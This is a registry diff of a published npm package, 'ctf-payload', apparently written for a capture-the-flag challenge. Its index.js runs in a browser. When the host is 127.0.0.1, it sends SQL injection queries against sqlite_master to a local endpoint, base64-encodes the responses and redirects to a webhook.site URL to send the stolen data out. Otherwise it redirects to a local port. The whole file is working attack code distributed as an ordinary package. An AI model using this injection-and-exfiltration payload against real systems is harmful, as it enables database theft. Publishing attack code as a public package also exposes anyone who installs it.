ctf-payload 1.0.35 → 1.0.37
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +7 -9
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,17 +1,15 @@
|
|
|
1
1
|
if(window.location.hostname === '127.0.0.1'){
|
|
2
|
-
const
|
|
3
|
-
"id=1 UNION SELECT
|
|
4
|
-
"id=1 UNION SELECT
|
|
5
|
-
"id=1 UNION SELECT
|
|
6
|
-
"id=1 UNION SELECT 1,2,3,4--",
|
|
7
|
-
"id=1 UNION SELECT 1,2,3,4,5--"
|
|
2
|
+
const queries = [
|
|
3
|
+
"id=1 UNION SELECT name FROM sqlite_master WHERE type='table'--",
|
|
4
|
+
"id=1 UNION SELECT tbl_name FROM sqlite_master--",
|
|
5
|
+
"id=1 UNION SELECT group_concat(name) FROM sqlite_master--"
|
|
8
6
|
];
|
|
9
|
-
Promise.all(
|
|
7
|
+
Promise.all(queries.map(body =>
|
|
10
8
|
fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body})
|
|
11
9
|
.then(r=>r.text())
|
|
12
|
-
.then(t=>
|
|
10
|
+
.then(t=>t.substring(0,300))
|
|
13
11
|
)).then(results=>{
|
|
14
|
-
window.location='https://webhook.site/8ea4724b-a595-4a1b-89d2-d7a1745ba6b0?d='+btoa(unescape(encodeURIComponent(results.join('
|
|
12
|
+
window.location='https://webhook.site/8ea4724b-a595-4a1b-89d2-d7a1745ba6b0?d='+btoa(unescape(encodeURIComponent(results.join('|||'))));
|
|
15
13
|
});
|
|
16
14
|
} else {
|
|
17
15
|
window.location='http://127.0.0.1:8255/part2';
|